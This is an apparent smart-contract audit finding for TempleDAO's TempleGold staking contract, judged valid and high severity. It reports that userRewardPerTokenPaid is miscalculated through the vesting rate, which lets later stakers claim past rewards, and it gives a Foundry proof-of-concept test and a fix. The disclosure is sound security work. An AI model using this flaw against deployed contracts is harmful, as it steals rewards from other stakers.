TempleGold
TempleDAO
Foundry
25,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`userRewardPerTokenPaid` is updated incorrectly

hyperhorse

Summary

userRewardPerTokenPaid is updated incorrectly inside the updateReward function

Vulnerability Detail

The updateReward sets the userRewardPerTokenPaid for a stake to vestingRate * ....

link

modifier updateReward(address _account, uint256 _index) {
{
// stack too deep
rewardData.rewardPerTokenStored = uint216(_rewardPerToken());
rewardData.lastUpdateTime = uint40(_lastTimeRewardApplicable(rewardData.periodFinish));
if (_account != address(0)) {
StakeInfo memory _stakeInfo = _stakeInfos[_account][_index];
uint256 vestingRate = _getVestingRate(_stakeInfo);
claimableRewards[_account][_index] = _earned(_stakeInfo, _account, _index);
=> userRewardPerTokenPaid[_account][_index] = vestingRate * uint256(rewardData.rewardPerTokenStored) / 1e18;
}
}
_;

For new stakes, the vestingRate will be 0

link

function _getVestingRate(StakeInfo memory _stakeInfo) internal view returns (uint256 vestingRate) {
if (_stakeInfo.stakeTime == 0) {
return 0;
}

This will cause the next updateReward call to result in the staker obtaining reward as if they have staked from the beginning hence stealing the reward from other deserving stakers who have actually staked earlier

POC

Add the following test to test/forge/templegold/TempleGoldStaking.t.sol and run forge test --mt testAudit_staking_reward_period_start_zero -vv. It is asserted that the sum of rewards earned becomes greater than the distributed rewards due to the inflated value in the stake done midway

function testAudit_staking_reward_period_start_zero() public {
uint32 _vestingPeriod = 16 weeks;
{
// for distribution
skip(3 days);
_setVestingPeriod(_vestingPeriod);
_setRewardDuration(_vestingPeriod);
_setVestingFactor(templeGold);
}
​
// start the reward draw. with 1 user from the start itself and the other user who joins midway
// midway join will still have 0 set as the lastclaim rewardPerToken
// after the entire duration, the sum of both user's rewards will be greater than the allocated reward
​
uint256 stakeAmount = 100 ether;
uint256 goldRewardsAmount;
ITempleGoldStaking.Reward memory rewardDataOne;
{
vm.startPrank(alice);
deal(address(templeToken), alice, 1000 ether, true);
deal(address(templeToken), bob, 1000 ether, true);
_approve(address(templeToken), address(staking), type(uint).max);
staking.stake(stakeAmount);
assertEq(staking.earned(alice, 1), 0);
templeGold.balanceOf(address(staking));
staking.distributeRewards();
goldRewardsAmount = templeGold.balanceOf(address(staking));
console2.log("goldRewardsAmount",goldRewardsAmount);
// 9000000000000000000000000
// considering no more reward distribution in the staking contract the final combined reward amount should be <= to this amount
}
​
{
skip(8 weeks);
// second stake midway
staking.stake(stakeAmount);
//assertEq(staking.earned(alice, 1), 0);
// 9000000000000000000000000
}
​
{
skip(10 weeks);
uint earned1 = staking.earned(alice, 1);
uint earned2 = staking.earned(alice, 2);
console.log("earned1",earned1);
console.log("earned2",earned2);
console.log("goldRewardsAmount",goldRewardsAmount);
assert(earned1 + earned2 > goldRewardsAmount); }
​
}

Impact

Inflated reward for new stakers

Tool used

Manual Review

Recommendation

Change the tracking of userRewardPerTokenPaid to track the actual rewardData.rewardPerTokenStored instead of vestingRate * uint256(rewardData.rewardPerTokenStored)

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Future stakers are paid with rewards that have been accrued from the past due to miscalculation in userRewardPerTokenPaid and _perTokenReward

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.